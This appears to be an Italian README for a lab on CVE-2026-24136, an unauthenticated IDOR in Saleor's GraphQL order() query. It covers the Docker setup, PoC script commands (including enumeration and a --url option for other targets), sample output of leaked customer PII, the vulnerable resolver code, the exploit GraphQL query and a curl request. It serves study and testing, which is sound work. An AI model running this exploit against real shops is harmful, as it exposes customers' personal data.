
CVE-2026-24136 | Laboratorio per sfruttare la vulnerabilità IDOR su Saleor GraphQL - la query order() non verifica l'autenticazione, espone tutti i PII (email, indirizzo, numero di telefono) dei clienti. Include ambiente Docker, script di seed data e PoC. CVSS 4.0: 8.7 ALTO.
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-24136 |
| Tipo di vulnerabilità | IDOR - Autorizzazione bypassata tramite chiave controllata dall'utente (CWE-639) |
| Software | Piattaforma e-commerce Saleor |
| Versioni affette | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Versioni corrette | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 ALTO (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 ALTO |
| Impatto | Un attore non autenticato può leggere i PII (nome, indirizzo, telefono, email) di qualsiasi ordine |
| Autenticazione necessaria? | No |
Saleor fornisce un'API GraphQL per gestire gli ordini e-commerce. La query order(id: $id) consente di ottenere i dettagli di un ordine tramite ID globale. Nelle versioni affette, questa query non verifica se il chiamante ha il permesso di visualizzare quell'ordine.
Chiunque, anche un utente completamente anonimo senza account, può chiamare questa query e ottenere tutti i PII del cliente: email, nome completo, indirizzo di spedizione, numero di telefono, cronologia degli accessi.
cve-2026-24136-lab/
├── docker-compose.yml # Ambiente di laboratorio (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script di avvio automatico (Windows PowerShell)
├── setup_lab.sh # Script di avvio automatico (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Wrapper di avvio: correzione bug wsgi + gunicorn
├── seed_data.py # Crea account vittime e ordini con PII
└── poc_cve_2026_24136.py # PoC di sfruttamento
pip install requests# Concedere i permessi di esecuzione se necessario
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Eseguire la configurazione automatica
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Avviare i container
docker compose up -d
# 2. Attendere che l'API sia pronta (~60-90 secondi)
# Verificare: curl http://localhost:8000/health/
# 3. Creare un account amministratore
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Popolare prodotti/canali
docker exec cve_saleor_api python manage.py populatedb
# 5. Creare i dati delle vittime (account + ordini con PII)
cd scripts
pip install requests
python seed_data.py
Endpoint dopo l'avvio:
| Servizio | URL |
|---|---|
| API GraphQL di Saleor | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Dashboard di Saleor | http://localhost:9000 |
| Amministratore | [email protected] / admin |
cd scripts
# Visualizzare la spiegazione tecnica
python poc_cve_2026_24136.py explain
# Sfruttare da un elenco già seminato (RACCOMANDATO - Saleor 3.x usa ID UUID)
python poc_cve_2026_24136.py file order_ids.json
# Sfruttare un singolo ordine tramite ID globale base64 diretto
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerazione sequenziale (funziona solo con Saleor < 3.x che usa ID interi)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Cambiare l'API di destinazione
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Salvare i risultati in JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Caricati 6 ID ordine da order_ids.json
[*] Interrogazione senza autenticazione...
[*] Tentativo: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [PERDITA] ORDINE #41 -- BOZZA ║
╠══════════════════════════════════════════════════════════════╣
║ Email : [email protected] ║
╠══════════════════════════════════════════════════════════════╣
║ Indirizzo fatturazione : Nguyen Van A ║
║ Via : 123 Le Loi Street ║
║ Città/CAP : HO CHI MINH CITY 700000 ║
║ Paese : Vietnam ║
║ Telefono : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Ordini compromessi con successo: 6/6
Saleor utilizza "Identificazione globale dell'oggetto" secondo lo standard Relay GraphQL. Ogni oggetto è identificato da un ID globale nella forma:
base64("<TypeName>:<internal_id>")
Per gli ordini in Saleor 3.x:
# internal_id è un UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Nota: Saleor 2.x usava ID interi sequenziali (
Order:1,Order:2, ...) quindi più facili da enumerare.
Saleor 3.x è passato a UUID, quindi l'attaccante deve ottenere l'UUID in altro modo (email di conferma ordine, URL trapelato, ecc.).
File: saleor/graphql/order/resolvers.py
# VERSIONE VULNERABILE (prima della patch)
def resolve_order(root, info, id):
"""Risolve l'ordine per ID – nessun controllo di autorizzazione."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Chiunque chiami ottiene i dati, nessun controllo su utente o sessione
File: saleor/graphql/order/schema.py
# Definizione della query, nessuna dichiarazione di permessi
class OrderQueries:
order = graphene.Field(
Order,
description="Cerca un ordine per ID.",
id=graphene.Argument(graphene.ID, description="ID dell'ordine."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Nessun @permission_required, nessun guard
La query inviata non ha header Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Invio con curl, nessun token necessario
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Risposta (senza auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}